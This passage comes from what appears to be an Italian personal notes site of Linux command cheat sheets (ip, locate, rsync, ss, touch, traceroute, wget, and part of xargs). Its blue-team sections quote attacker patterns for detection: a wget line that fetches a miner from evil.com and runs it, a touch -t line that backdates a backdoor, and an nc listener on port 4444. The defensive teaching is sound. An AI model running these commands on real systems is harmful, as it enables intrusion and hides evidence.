169.254.0.0/16 — APIPA (Automatic Private IP Addressing). Assegnato automaticamente quando il DHCP non risponde. Se un host ha solo questo IP, il DHCP non funziona.\nifconfig vs ip — perche' ip e' meglio # ifconfig (deprecato) ip (moderno) ───────────────────── ────────────────────────────── singolo comando un comando per tutto output meno strutturato output piu\u0026#39; ricco e preciso non mostra routing ip route per il routing non mostra ARP ip neighbor per ARP non installato di default sempre disponibile su kernel moderno Combinazioni utili # # Diagnostica rapida — tutto in una volta ip a \u0026amp;\u0026amp; ip r # Verifica se una specifica interfaccia e\u0026#39; UP ip link show enp0s1 | grep \u0026#34;state UP\u0026#34; # Mostra solo IPv4 (esclude IPv6) ip -4 a # Mostra solo IPv6 ip -6 a # Tabella ARP — trova i MAC dei dispositivi sulla LAN ip neighbor show # Verifica la route verso un IP specifico ip route get 8.8.8.8 # 8.8.8.8 via 192.168.64.1 dev enp0s1 src 192.168.64.3 # mostra quale gateway userebbe per raggiungere quell\u0026#39;IP ip route flush — attenzione alla differenza # # Svuota solo la route cache temporanea (ICMP Redirect, route dinamiche) ip route flush cache # Sicuro — le route statiche rimangono intatte # Svuota TUTTA la routing table — incluse le route statiche ip route flush all # DISTRUTTIVO — la macchina perde la connessione di rete # Non usare mai su sistemi in produzione o in remoto ip route flush all su una macchina remota a cui accedi via SSH equivale a spegnerla — perdi immediatamente la connessione e non puoi recuperarla senza accesso fisico o console. La routing table viene svuotata e il sistema non sa piu' come instradare i pacchetti, nemmeno sulla LAN locale. Output JSON con -j # # Qualsiasi sottocomando di ip accetta -j per output JSON ip -j route ip -j neighbor show ip -j address show # Utile per parsing con jq o in script Python ip -j neighbor show | python3 -c \u0026#34;import sys,json; [print(e) for e in json.load(sys.stdin)]\u0026#34; Nota: -j va PRIMA del sottocomando, non dopo. ip route -j → syntax error ip -j route → corretto\nDiagnostica: default gateway mancante # Sintomo # ping -c 4 8.8.8.8 # connect: Network is unreachable # oppure: nessuna risposta Diagnosi # ip route # 192.168.64.0/24 dev enp0s1 proto kernel scope link src 192.168.64.3 # ← manca la riga \u0026#34;default via X\u0026#34; Se ip route non mostra una riga default via — il gateway manca. Il sistema sa parlare con la sua subnet locale ma non sa dove mandare il traffico verso internet.\nConfronta con una macchina che funziona:\n# Su Kali (funziona): ip route # default via 192.168.64.1 dev eth0 ← c\u0026#39;è il gateway # 192.168.64.0/24 dev eth0 # Su Ubuntu (non funziona): ip route # 192.168.64.0/24 dev enp0s1 ← manca il gateway Come identificare il gateway corretto # Il gateway è quasi sempre il primo IP della subnet — convenzione universale:\nSubnet 192.168.64.0/24 → gateway tipico: 192.168.64.1 Subnet 192.168.1.0/24 → gateway tipico: 192.168.1.1 Subnet 10.0.0.0/24 → gateway tipico: 10.0.0.1 Puoi verificarlo guardando la tabella ARP — il gateway è l'unico dispositivo REACHABLE fuori dalla tua subnet:\nip neighbor show # 192.168.64.1 dev enp0s1 lladdr 72:8c:f2:1b:c8:64 REACHABLE # ^ # questo è il gateway Oppure confronta con un host della stessa rete che funziona:\n# Su Kali — vedi il gateway nella sua routing table ip route | grep default # default via 192.168.64.1 dev eth0 Fix temporaneo (non sopravvive al riavvio) # sudo ip route add default via 192.168.64.1 Verifica:\nip route # default via 192.168.64.1 dev enp0s1 ← aggiunto # 192.168.64.0/24 dev enp0s1 ping -c 4 8.8.8.8 # deve funzionare ora Fix permanente (netplan — Ubuntu Server) # Modifica il file netplan:\nsudo nano /etc/netplan/50-cloud-init.yaml Aggiungi la sezione routes:\nnetwork: version: 2 ethernets: enp0s1: dhcp4: false addresses: - 192.168.64.3/24 nameservers: addresses: [8.8.8.8, 1.1.1.1] routes: - to: default via: 192.168.64.1 sudo netplan apply ip route # verifica Perché succede # Su Ubuntu Server con IP statico configurato manualmente, il gateway non viene aggiunto automaticamente — va specificato esplicitamente nel file netplan.\nKali usa NetworkManager che lo aggiunge in automatico quando assegna un IP via DHCP.\nUbuntu vs Kali — configurazione rete a confronto # Due distribuzioni diverse, due approcci diversi alla configurazione di rete.\nUbuntu Server — Netplan # Ubuntu Server usa file YAML in /etc/netplan/. La configurazione e' statica e manuale — devi specificare tutto esplicitamente, incluso il gateway.\n# Vedi il file di configurazione cat /etc/netplan/50-cloud-init.yaml # Applica le modifiche sudo netplan apply # Verifica ip route Configurazione completa con gateway:\nnetwork: version: 2 ethernets: enp0s1: dhcp4: false addresses: - 192.168.64.3/24 nameservers: addresses: [8.8.8.8, 1.1.1.1] routes: - to: default via: 192.168.64.1 # ← gateway — va specificato esplicitamente Se dimentichi la sezione routes, il gateway non viene aggiunto e il sistema non esce su internet.\nKali Linux — NetworkManager # Kali usa NetworkManager — gestisce tutto in automatico, incluso il gateway, quando ottiene un IP via DHCP.\n# Vedi le connessioni attive nmcli connection show # Vedi i dettagli di una connessione specifica nmcli connection show \u0026#34;Wired connection 1\u0026#34; # File di configurazione (raramente modificato a mano) cat /etc/network/interfaces Non c'e' un file YAML da modificare — NetworkManager aggiunge il gateway automaticamente.\nConfronto # Ubuntu Server Kali Linux Gestore Netplan NetworkManager Config file /etc/netplan/*.yaml gestito da nmcli/GUI Gateway va aggiunto a mano aggiunto automaticamente da DHCP IP statico definito nel YAML nmcli o GUI Dopo riavvio configurazione persiste persiste (gestita da NM) Usato su server, headless desktop, penetration testing Sintomo del gateway mancante # # Ubuntu — ip route mostra solo la subnet locale ip route # 192.168.64.0/24 dev enp0s1 ← solo LAN, nessun default # Kali — ip route mostra anche il gateway ip route # default via 192.168.64.1 dev eth0 ← gateway presente # 192.168.64.0/24 dev eth0 Se Ubuntu non esce su internet, la prima cosa da controllare e' sempre ip route — quasi certamente manca la riga default via.\nScenario Reale # # Incident response — mappa rapida della rete su un sistema sospetto ip a # quali IP ha questo sistema? ip r # dove manda il traffico? ip n # chi ha visto di recente sulla LAN? (tabella ARP) # Un IP insolito nella tabella ARP puo\u0026#39; indicare # un dispositivo non autorizzato sulla rete ip neighbor show | grep -v REACHABLE Dove l'ho usato # VM Ubuntu — ip a per verificare l'IP fisso dopo netplan Lab UTM — diagnostica interfacce Host-Only Note personali # Tip ip r get 8.8.8.8 e' il modo piu' rapido per vedere quale interfaccia e' quale gateway userebbe il sistema per raggiungere un IP specifico — utile quando ci sono piu' interfacce attive.\nNote Le abbreviazioni funzionano tutte: ip a = ip addr = ip address. In produzione si usano quasi sempre le abbreviazioni — imparale.\nCollegato a # system — categoria netplan — configura le interfacce che ip mostra traceroute — usa la routing table mostrata da ip route ping — testa la connettivita' verso gli IP visti con ip a ss — mostra le connessioni sulle interfacce viste con ip ","date":"27 marzo 2026","externalUrl":null,"permalink":"/comandi/ip/","section":"Comandi","summary":"Gestisce interfacce di rete, indirizzi IP e tabella di routing. Sostituisce ifconfig (deprecato) e route. Comando fondamentale per diagnosticare e configurare la rete su Linux moderno.","title":"ip - show / manipulate routing and interfaces","type":"comandi"},{"content":" Cosa fa # Cerca file nel filesystem tramite un database pre-costruito di tutti i pathname del sistema. Velocissimo perche' non legge il disco in tempo reale — cerca nell'indice. Il database viene aggiornato periodicamente da updatedb, solitamente come cron job notturno.\nSintassi # locate [opzioni] pattern\nComandi essenziali # Comando Flag Significato flag Cosa fa locate nomefile — — Cerca tutti i path che contengono \u0026quot;nomefile\u0026quot; locate bin/zip — — Cerca path che contengono esattamente \u0026quot;bin/zip\u0026quot; locate -i nomefile -i ignore case Ricerca case-insensitive locate -c nomefile -c count Conta i risultati invece di stamparli locate -l 10 pattern -l limit Mostra massimo 10 risultati locate -r \u0026quot;\\.log$\u0026quot; -r regex Cerca con espressione regolare sudo updatedb — — Aggiorna il database manualmente Installazione su Ubuntu Server # # locate non e\u0026#39; installato di default su Ubuntu Server sudo apt install plocate # versione moderna (preferita) # oppure sudo apt install mlocate # versione classica # Aggiorna il database subito dopo l\u0026#39;installazione sudo updatedb locate vs find # locate find ──────────────────────── ────────────────────────────────── cerca in un database cerca in tempo reale sul disco velocissimo piu\u0026#39; lento (legge il filesystem) potrebbe non trovare trova tutto, anche appena creato file creati di recente — nessun filtro su size/perms filtri avanzati (size, time, perm) non richiede root alcune ricerche richiedono sudo Regola pratica: usa locate per trovare velocemente file di sistema che sai esistere. Usa find quando hai bisogno di filtri avanzati o stai cercando file appena creati.\nIl database updatedb # # Il database e\u0026#39; in: /var/lib/plocate/plocate.db # plocate /var/lib/mlocate/mlocate.db # mlocate # Aggiornamento automatico — cron job notturno cat /etc/cron.daily/plocate # vedere quando viene eseguito # Aggiornamento manuale sudo updatedb # File creati oggi, prima dell\u0026#39;aggiornamento, non vengono trovati # Soluzione: sudo updatedb prima di cercare Combinazioni utili # # Trova tutti i file di configurazione nginx locate nginx.conf # Cerca e filtra con grep locate zip | grep bin locate \u0026#34;.conf\u0026#34; | grep /etc/ # Case-insensitive locate -i \u0026#34;readme\u0026#34; # Conta quante librerie ssl sono installate locate -c libssl # Regex — trova tutti i file .log in /var locate -r \u0026#34;/var/.*\\.log$\u0026#34; Dove l'ho usato # Cap 17 TLCL — ricerca file Note personali # Note plocate e' la versione moderna di mlocate — usa un formato di database compresso e cerca molto piu' velocemente. Su Ubuntu moderno usa sempre plocate.\nTip Se locate nomefile non trova niente ma sei sicuro che il file esiste, fai sudo updatedb e riprova — probabilmente il file e' stato creato dopo l'ultimo aggiornamento notturno del database.\n## Collegato a - system — categoria - [find](/comandi/find/) — alternativa piu\u0026#39; potente per ricerche avanzate ","date":"27 marzo 2026","externalUrl":null,"permalink":"/comandi/locate/","section":"Comandi","summary":"Cerca file nel filesystem tramite un database pre-costruito di pathname. Molto piu' veloce di find ma non trova file creati di recente — il database viene aggiornato di notte da updatedb.","title":"locate - find files by name (database search)","type":"comandi"},{"content":" Cosa fa # Sincronizza file e directory tra sorgente e destinazione, trasferendo solo le parti modificate. Funziona localmente (come cp intelligente) o via rete SSH (come scp incrementale). La sua efficienza lo rende lo standard per backup, mirror e deploy.\nSintassi # rsync [opzioni] sorgente/ destinazione/\nWarning Lo slash finale su sorgente/ e' critico. rsync sorgente/ copia il CONTENUTO. rsync sorgente copia la DIRECTORY stessa. Comportamento diverso.\nComandi essenziali # Comando Flag Significato flag Cosa fa rsync -av sorgente/ dest/ -a -v archive + verbose Copia ricorsiva preservando tutto, output verboso rsync -av --delete sorgente/ dest/ --delete — Mirror esatto — cancella dalla dest i file non in sorgente rsync -av --dry-run sorgente/ dest/ --dry-run — Simula senza toccare niente — sempre fare prima rsync -av -e ssh utente@host:percorso/ dest/ -e rsh/execute Usa SSH come trasporto rsync -av --progress sorgente/ dest/ --progress — Mostra progresso per ogni file rsync -av --exclude=\u0026quot;*.log\u0026quot; src/ dst/ --exclude — Esclude file .log dalla sincronizzazione rsync -avz sorgente/ dest/ -z compress Comprime durante il trasferimento (utile su rete lenta) Il flag -a — archive mode # -a e' una shorthand per -rlptgoD:\nr = ricorsivo l = mantieni i link simbolici p = mantieni i permessi t = mantieni i timestamp g = mantieni il gruppo o = mantieni il proprietario (richiede root) D = mantieni device files e special files Quasi sempre userai -a — preserva tutto quello che conta per un backup.\nUso locale — backup e sincronizzazione # # Backup di /etc con data nel nome sudo rsync -av /etc/ /backup/etc-$(date +%Y%m%d)/ # Mirror esatto — la destinazione diventa identica alla sorgente # ATTENZIONE: --delete rimuove dalla dest i file non in src rsync -av --delete /home/barno/ /backup/home/ # Simula sempre prima con --dry-run rsync -av --delete --dry-run /etc/ /backup/etc/ # Mostra cosa farebbe senza fare niente # Escludi file temporanei e cache rsync -av --exclude=\u0026#34;*.tmp\u0026#34; --exclude=\u0026#34;.cache/\u0026#34; /home/ /backup/home/ Uso remoto — sincronizzazione via SSH # # Da locale a remoto rsync -av /home/barno/ utente@server:/backup/barno/ # Da remoto a locale rsync -av utente@server:/var/log/ /backup/logs/ # Con SSH su porta non standard rsync -av -e \u0026#34;ssh -p 2222\u0026#34; /dati/ utente@server:/backup/ # Con chiave SSH specifica rsync -av -e \u0026#34;ssh -i ~/.ssh/id_ed25519\u0026#34; /dati/ utente@server:/backup/ # Compressione attiva — utile su connessioni lente rsync -avz /dati/ utente@server:/backup/ rsync vs scp vs cp # cp scp rsync ────────────────── ──────────────────── ────────────────────────── locale only locale → remoto locale e remoto copia tutto copia tutto copia solo le differenze nessun resume nessun resume riprende da dove si e\u0026#39; fermato no --delete no --delete --delete per mirror esatto veloce per pochi ok per file singoli efficiente per grandi dataset file piccoli Backup incrementale — pattern pratico # # Pattern backup professionale BACKUP_DIR=\u0026#34;/backup\u0026#34; DATE=$(date +%Y%m%d-%H%M) # Backup con link hard — ogni backup sembra completo ma occupa solo lo spazio del delta rsync -av --delete \\ --link-dest=\u0026#34;$BACKUP_DIR/latest\u0026#34; \\ /etc/ \\ \u0026#34;$BACKUP_DIR/$DATE/\u0026#34; # Aggiorna il puntatore \u0026#34;latest\u0026#34; ln -sfn \u0026#34;$BACKUP_DIR/$DATE\u0026#34; \u0026#34;$BACKUP_DIR/latest\u0026#34; --link-dest crea hard link ai file non modificati — ogni backup sembra un backup completo ma occupa solo lo spazio delle modifiche.\nScenario Reale — Blue Team # # Backup pre-modifica di configurazione critica sudo rsync -av /etc/ssh/ /backup/etc-ssh-$(date +%Y%m%d)/ # Modifica sshd_config # Se qualcosa va storto: sudo rsync -av /backup/etc-ssh-20260327/ /etc/ssh/ # Mirror di log remoti per analisi locale rsync -av utente@server-prod:/var/log/auth.log /analisi/auth-$(date +%Y%m%d).log # Verifica integrita\u0026#39; dopo sincronizzazione rsync -av --checksum sorgente/ dest/ # --checksum usa MD5 invece dei timestamp per confrontare i file # piu\u0026#39; lento ma piu\u0026#39; accurato — utile in forensics Tip Usa sempre --dry-run prima di --delete. Vedere cosa verrebbe cancellato prima di cancellarlo e' una delle abitudini piu' importanti da costruire con rsync.\nDove l'ho usato # Sincronizzazione file tra Mac e server remoto Backup locale su Mac Collegato a # system — categoria ssh — protocollo di trasporto per rsync remoto scp — alternativa per trasferimenti singoli sha256sum — verifica integrita' dopo sincronizzazione compressione-arichivazione — alternativa per backup manuali con tar ","date":"27 marzo 2026","externalUrl":null,"permalink":"/comandi/rsync/","section":"Comandi","summary":"Sincronizza file e directory localmente o via rete SSH. Trasferisce solo le differenze rispetto alla destinazione — efficiente per backup incrementali e sincronizzazione remota.","title":"rsync - remote file synchronization","type":"comandi"},{"content":" Cosa fa # Mostra lo stato di tutti i socket di rete del sistema — porte in ascolto, connessioni attive, socket Unix. Sostituisce netstat che e' deprecato sui sistemi Linux moderni. Legge direttamente dal kernel via Netlink — piu' veloce e accurato di netstat che parsava /proc.\nParti dalla rete \u0026quot;Chi sta parlando con chi?\u0026quot; Ottimo quando vuoi il quadro completo delle connessioni attive senza sapere cosa cercare.\nSintassi # ss [opzioni]\nComandi essenziali # Comando Flag Significato flag Cosa fa ss -tuln -t -u -l -n tcp+udp+listen+numeric Porte TCP e UDP in ascolto, numeri invece di nomi ss -tlnp -t -l -n -p tcp+listen+numeric+process TCP in ascolto con il processo che le usa ss -an -a -n all+numeric Tutti i socket, porte numeriche ss -tn -t -n tcp+numeric Solo connessioni TCP attive ss -s -s summary Statistiche aggregate sui socket ss -o -o options Mostra timer TCP (keepalive, retransmit) ss -4 -4 IPv4 Solo socket IPv4 ss -6 -6 IPv6 Solo socket IPv6 Flag principali da combinare # -t → TCP -u → UDP -l → solo LISTEN (in ascolto) -a → tutti (LISTEN + ESTABLISHED + altro) -n → numerico — porta 22 invece di \u0026#34;ssh\u0026#34; -p → mostra il processo (richiede sudo per processi altrui) Leggere l'output # sudo ss -tlnp # State Recv-Q Send-Q Local Address:Port Peer Address:Port Process # LISTEN 0 128 0.0.0.0:22 0.0.0.0:* users:((\u0026#34;sshd\u0026#34;,pid=1234)) # LISTEN 0 128 127.0.0.1:631 0.0.0.0:* users:((\u0026#34;cupsd\u0026#34;,pid=5678)) # ^ ^ ^ # stato chi ascolta:porta chi puo\u0026#39; connettersi 0.0.0.0:22 → ascolta su tutte le interfacce, porta 22 — raggiungibile dall\u0026#39;esterno 127.0.0.1:631 → ascolta solo su localhost — non raggiungibile dall\u0026#39;esterno :::22 → IPv6 equivalente di 0.0.0.0 netstat vs ss # netstat (deprecato) ss (moderno) ─────────────────── ──────────────────────────── parsava /proc/net/ legge direttamente dal kernel piu\u0026#39; lento molto piu\u0026#39; veloce stesso output output piu\u0026#39; ricco da non usare standard su Linux moderno Equivalenze:\nnetstat -tuln → ss -tuln netstat -an → ss -an netstat -tulnp → sudo ss -tlnp ss vs nc # ss -tlnp vs nc -zv host 1-100:\nss -tlnp nc -zv host 1-100 ────────────────────────── ────────────────────────────── guarda DENTRO la macchina guarda dall\u0026#39;ESTERNO verso un host mostra cosa ascolta localmente testa se le porte sono aperte legge dal kernel — istantaneo manda pacchetti TCP reali nessun traffico di rete genera traffico di rete incident response locale port scan / verifica connettività In pratica: ss è lo specchio interno, nc -zv è il test esterno. Su un server sospetto usi ss per vedere cosa gira. Da Kali verso Ubuntu usi nc -zv per vedere cosa è raggiungibile dall'esterno.\nCombinazioni utili # # Incident response — panoramica immediata sudo ss -tlnp # chi ascolta? sudo ss -tn | grep ESTABLISHED # chi e\u0026#39; connesso adesso? # Trova un processo per porta sudo ss -tlnp | grep :8080 # Connessioni verso l\u0026#39;esterno (esclude localhost) ss -tn | grep ESTABLISHED | grep -v \u0026#34;127.0.0\u0026#34; # Conta le connessioni per stato ss -s # Vedi i timer TCP di una connessione ss -o state established # Socket Unix (comunicazione locale tra processi) ss -xl Scenario Reale # # Incident response — processo sospetto apre una porta sudo ss -tlnp # LISTEN 0 128 0.0.0.0:4444 0.0.0.0:* users:((\u0026#34;nc\u0026#34;,pid=9876)) # ^ # porta 4444 — classica reverse shell netcat # Connessioni verso IP esterni insoliti ss -tn | grep ESTABLISHED # ESTAB 0 0 192.168.64.3:54231 45.33.x.x:443 # ^ # IP esterno sconosciuto su porta 443 # Verifica con lsof chi ha aperto quella connessione sudo lsof -i :54231 Tip sudo ss -tlnp e' il primo comando in qualsiasi incident response sulla rete — ti da' immediatamente la mappa di tutte le porte aperte e quale processo le usa.\nNote Senza sudo, -p mostra solo i processi del tuo utente. Con sudo vedi tutti i processi di sistema. Quasi sempre serve sudo per l'analisi forense.\nDove l'ho usato # Lab Ubuntu — verifica porte aperte dopo configurazione SSH Note personali # Warning Se vedi una porta in ascolto che non riconosci, non fermarti a ss — usa sudo lsof -p PID per vedere tutti i file e le connessioni di quel processo, e ps -p PID -o pid,user,etime,cmd per capire da quanto gira.\nCollegato a # system — categoria lsof — alternativa con piu' dettagli sui file aperti ip — mostra le interfacce, ss mostra le connessioni su quelle interfacce linux-processes — ss collega porte a PID ","date":"27 marzo 2026","externalUrl":null,"permalink":"/comandi/ss/","section":"Comandi","summary":"Mostra socket aperti e connessioni di rete. Sostituisce netstat (deprecato) — piu' veloce perche' legge direttamente dal kernel invece di parsare /proc. Fondamentale in incident response per vedere chi e' connesso e chi ascolta.","title":"ss - socket statistics","type":"comandi"},{"content":" Cosa fa # Aggiorna i timestamp (Access e Modify) di un file all'ora corrente. Se il file non esiste, lo crea vuoto. In pratica viene usato quasi sempre per creare file vuoti o come trigger negli script.\nSintassi # touch [opzioni] file\nComandi essenziali # Comando Flag Significato flag Cosa fa touch file.txt — — Crea file.txt vuoto se non esiste, aggiorna timestamp se esiste touch -a file -a access Aggiorna solo il timestamp di accesso touch -m file -m modify Aggiorna solo il timestamp di modifica touch -t 202603150900 file -t timestamp Imposta timestamp specifico (YYYYMMDDhhmm) touch -r src dst -r reference Copia i timestamp da src a dst Creare molti file — brace expansion # # Crea 100 directory e 26 file per ognuna (2600 file totali) mkdir -p dir-{001..100} touch dir-{001..100}/file-{A..Z} # Crea file con nomi specifici touch log_{lunedi,martedi,mercoledi}.txt # Verifica con find find . -name \u0026#34;file-A\u0026#34; | wc -l # 100 I timestamp di Linux — MACB # Access (atime) → ultima lettura del file Modify (mtime) → ultima modifica del CONTENUTO Change (ctime) → ultima modifica dei METADATI (permessi, owner, link count) Birth (btime) → creazione (non sempre disponibile) touch aggiorna atime e mtime. Il ctime si aggiorna automaticamente ogni volta che cambia qualcosa nel file o nei metadati — non si puo' modificare con touch.\n# Verificare i timestamp stat file.txt # Access: 2026-03-27 07:14:32 # Modify: 2026-03-25 10:00:00 # Change: 2026-03-27 07:14:32 ← si aggiorna anche quando usi touch Scenario Reale — Blue Team # Un attaccante puo' usare touch -t per far sembrare un file malevolo piu' vecchio e mimetizzarsi tra i file di sistema:\n# Attaccante — falsifica il timestamp di un binario malevolo touch -t 202001010000 /tmp/.hidden/backdoor # Difensore — ctime non si puo\u0026#39; modificare con touch stat /tmp/.hidden/backdoor # Modify: 2020-01-01 00:00:00 ← falsificato # Change: 2026-03-27 03:14:00 ← reale — rivela quando e\u0026#39; stato effettivamente creato Controlla sempre il Change time con stat, non solo il Modify — e' molto piu' difficile da falsificare.\nNote personali # Tip touch file per creare file vuoti e' uno degli idiomi piu' usati negli script bash — per creare lock file, file di log vuoti, file sentinel per segnalare lo stato di uno script.\nCollegato a # system — categoria file — categoria stat — legge i timestamp modificati da touch find — usa i timestamp per filtrare file (-mtime, -newer) inode-anatomy — i timestamp sono metadati nell'inode ","date":"27 marzo 2026","externalUrl":null,"permalink":"/comandi/touch/","section":"Comandi","summary":"Crea file vuoti o aggiorna i timestamp di file esistenti. Il nome viene da 'touch the timestamps'. Usato spesso per creare file segnaposto negli script.","title":"touch - change file timestamps","type":"comandi"},{"content":" Cosa fa # Mostra il percorso completo che i pacchetti compiono dalla macchina locale a un host remoto, stampando ogni router (hop) attraversato con il tempo di risposta. Sfrutta il meccanismo TTL — manda pacchetti con TTL incrementale (1, 2, 3...) e raccoglie i messaggi ICMP Time Exceeded che ogni router manda quando il TTL scade.\nSintassi # traceroute [opzioni] host\nComandi essenziali # Comando Flag Significato flag Cosa fa traceroute google.com — — Traccia il percorso verso google.com traceroute -n google.com -n numeric Non risolve i nomi DNS degli hop — piu' veloce traceroute -T google.com -T TCP Usa TCP invece di UDP — supera alcuni firewall traceroute -I google.com -I ICMP Usa ICMP — utile quando UDP e' bloccato traceroute -m 20 host -m max hops Limita a 20 hop massimi traceroute -w 2 host -w wait Attende max 2 secondi per ogni risposta Leggere l'output # traceroute target.com # 1 192.168.1.254 (192.168.1.254) 5.9 ms 4.9 ms 4.6 ms # 2 192.168.128.1 (192.168.128.1) 8.2 ms 7.7 ms 7.3 ms # 3 * * * # 4 172.30.25.193 28.0 ms 33.5 ms 19.9 ms # 5 backbone.isp.it 22.3 ms 31.8 ms 19.9 ms # 6 cloudflare-peering.it 42.0 ms 33.6 ms 39.5 ms # 7 198.x.x.x 39.7 ms 29.7 ms 32.3 ms hop n. hostname (IP) RTT1 RTT2 RTT3 ^ ^ ^ | | tre misurazioni per hop | * * * = router che non risponde agli ICMP numero router attraversato * * * — router che ignora i messaggi ICMP. Non significa che non esiste — solo che e' configurato per non rispondere. Normale su router ISP. Aggiunge -T o -I per aggirarlo.\nI tre tempi — ogni hop viene misurato tre volte. Valori molto diversi tra loro indicano congestione o routing asimmetrico.\nCome funziona internamente # PASSO 1 — pacchetto con TTL=1 [Tu] ──TTL=1──► [Router 1] TTL=0 → scarta invia ICMP Time Exceeded traceroute annota: hop 1 = IP di Router 1 PASSO 2 — pacchetto con TTL=2 [Tu] ──TTL=2──► [Router 1] ──TTL=1──► [Router 2] TTL=0 → scarta invia ICMP Time Exceeded traceroute annota: hop 2 = IP di Router 2 ... e cosi\u0026#39; via fino alla destinazione Vedi routing-hop-ttl per il concetto completo di TTL e hop.\nScenario Reale # # Diagnosi: server non raggiungibile traceroute -n 198.x.x.x # Output: # 1 192.168.1.1 2ms ← router di casa OK # 2 10.0.0.1 8ms ← ISP OK # 3 * * * ← router ISP che non risponde (normale) # 4 85.x.x.x 15ms ← backbone ISP OK # 5 * * * ← silenzio # 6 * * * ← silenzio — il pacchetto si perde qui Il problema e' all'hop 5-6 — non dal lato tuo. Informazione da dare all'ISP o all'hosting provider. Senza traceroute avresti solo \u0026quot;non risponde\u0026quot; senza sapere dove si rompe il percorso.\n# Supera i firewall che bloccano UDP (default di traceroute) traceroute -T google.com # usa TCP porta 80 traceroute -I google.com # usa ICMP come ping Dove l'ho usato # Cap 16 TLCL — networking base routing-hop-ttl — concetto di TTL e hop Note personali # Tip traceroute -n e' quasi sempre preferibile — salta la risoluzione DNS di ogni hop e completa molto piu' velocemente. Aggiungi i nomi solo se ti servono per identificare i provider.\nNote Su macOS il comando si chiama traceroute ma usa ICMP di default invece di UDP. Su Linux usa UDP di default — aggiungi -I per comportamento simile a macOS.\n## Collegato a - system — categoria - [ping](/comandi/ping/) — usa ICMP, misura latenza verso un singolo host - [routing-hop-ttl](/concetti/routing-hop-ttl/) — concetto teorico di TTL e routing - [ip](/comandi/ip/) — mostra la tabella di routing locale ","date":"27 marzo 2026","externalUrl":null,"permalink":"/comandi/traceroute/","section":"Comandi","summary":"Mostra il percorso che i pacchetti compiono dalla macchina locale a un host remoto, hop per hop. Sfrutta il TTL per scoprire ogni router intermedio e misurare la latenza per tratto.","title":"traceroute - trace route to host","type":"comandi"},{"content":" Cosa fa # Scarica file da URL in modo non interattivo. Progettato per il download di file — riprende automaticamente i download interrotti, supporta download ricorsivi di siti interi e funziona bene in background e negli script. A differenza di curl, non e' pensato per testare API o vedere header.\nSintassi # wget [opzioni] URL\nComandi essenziali # Comando Flag Significato flag Cosa fa wget https://example.com/file.zip — — Scarica il file nella directory corrente wget -O nome.zip URL -O output file Specifica il nome del file scaricato wget -c URL -c continue Riprende un download interrotto wget -b URL -b background Scarica in background, log in wget-log wget -q URL -q quiet Nessun output — silenzioso wget --limit-rate=1m URL --limit-rate — Limita la velocita' a 1MB/s wget -r -l 2 URL -r -l recursive + level Scarica il sito ricorsivamente fino a 2 livelli wget -i lista.txt -i input file Scarica tutti gli URL da un file di testo wget vs curl # wget curl ──────────────────────── ────────────────────────────── ottimizzato per download ottimizzato per trasferimento riprende automaticamente riprende con -C - ricorsivo nativo non ricorsivo meno flag HTTP flag HTTP completi output su file di default output su stdout di default meglio per script/batch meglio per API e debug Regola pratica: usa wget per scaricare file, usa curl per testare API e vedere header.\nCombinazioni utili # # Scarica e riprendi se interrotto wget -c https://example.com/file-grande.iso # Scarica in background e vai avanti wget -b https://example.com/file.zip # output in wget-log tail -f wget-log # monitoraggio # Scarica piu\u0026#39; file da lista cat urls.txt | xargs wget -q # Mirror di un sito (con limitazioni) wget --mirror --convert-links --page-requisites https://example.com Scenario Reale — Blue Team # wget e' spesso usato dagli attaccanti per scaricare payload dopo l'accesso iniziale:\n# Pattern sospetto in auth.log o bash_history: wget http://IP-sospetto/payload.sh wget -q http://evil.com/miner -O /tmp/.hidden chmod +x /tmp/.hidden \u0026amp;\u0026amp; /tmp/.hidden \u0026amp; # Difesa — cerca wget in bash_history grep -i \u0026#34;wget\u0026#34; ~/.bash_history grep -i \u0026#34;wget\u0026#34; /home/*/. bash_history 2\u0026gt;/dev/null # Cerca processi wget in esecuzione ps aux | grep wget Warning wget -q in bash_history e' un segnale di allarme — il flag silenzioso e' usato per nascondere i download. Un utente legittimo quasi mai ha bisogno di -q.\nNote personali # Note Su alcuni sistemi minimali wget non e' installato di default ma curl si — e viceversa. Negli script di incident response e' buona pratica verificare quale dei due e' disponibile con which wget || which curl.\nCollegato a # network — categoria system — categoria curl — alternativa per API e debug HTTP ssh — alternativa sicura per trasferimento file con autenticazione ","date":"27 marzo 2026","externalUrl":null,"permalink":"/comandi/wget/","section":"Comandi","summary":"Scarica file da URL in modo non interattivo. A differenza di curl e' ottimizzato per il download — riprende automaticamente i download interrotti e puo' scaricare siti interi ricorsivamente.","title":"wget - web get","type":"comandi"},{"content":" Cosa fa # Legge dati da stdin (tipicamente una lista di nomi file) e li converte in argomenti per un comando. Risolve il problema che molti comandi non accettano pipe direttamente — rm, chmod, ls vogliono argomenti, non stdin.\nSintassi # comando | xargs [opzioni] comando_destinazione\nIl problema che risolve # # Questo NON funziona — rm non legge da stdin find . -name \u0026#34;*.tmp\u0026#34; | rm # ERRORE # Questo funziona — xargs converte stdin in argomenti find . -name \u0026#34;*.tmp\u0026#34; | xargs rm # OK # equivale a: rm file1.tmp file2.tmp file3.tmp ... Comandi essenziali # Comando Flag Significato flag Cosa fa find . -name \u0026quot;*.log\u0026quot; | xargs ls -l — — Lista dettagliata di tutti i .log trovati find . -name \u0026quot;*.tmp\u0026quot; | xargs rm — — Cancella tutti i .tmp trovati find . -name \u0026quot;*.py\u0026quot; | xargs wc -l — — Conta le righe di tutti i .py find . -print0 | xargs -0 comando -0 null Usa null come separatore — gestisce spazi nei nomi find . -name \u0026quot;*.txt\u0026quot; | xargs -I {} cp {} /backup/ -I {} replace Sostituisce {} con ogni argomento — posizionamento preciso echo \u0026quot;a b c\u0026quot; | xargs -n 1 echo -n number Passa n argomenti alla volta invece di tutti insieme cat lista.txt | xargs -P 4 comando -P parallel Esegue il comando in 4 processi paralleli xargs vs -exec di find # # -exec con \\; — esegue il comando UNA VOLTA PER FILE (lento) find . -name \u0026#34;*.log\u0026#34; -exec ls -l {} \\; # ls -l file1.log # ls -l file2.log # ls -l file3.log ← 3 invocazioni di ls # -exec con + — passa tutti i file in una volta (veloce) find . -name \u0026#34;*.log\u0026#34; -exec ls -l {} + # ls -l file1.log file2.log file3.log ← 1 invocazione di ls # xargs — equivalente a -exec con + find . -name \u0026#34;*.log\u0026#34; | xargs ls -l # ls -l file1.log file2.log file3.log ← 1 invocazione di ls Regola pratica: -exec {} + e xargs sono equivalenti in velocita'. Usa xargs quando vuoi costruire pipeline piu' complesse o combinare con altri comandi.\nGestire nomi con spazi # # PROBLEMA — nomi con spazi rompono xargs touch \u0026#34;file con spazi.txt\u0026#34; find . -name 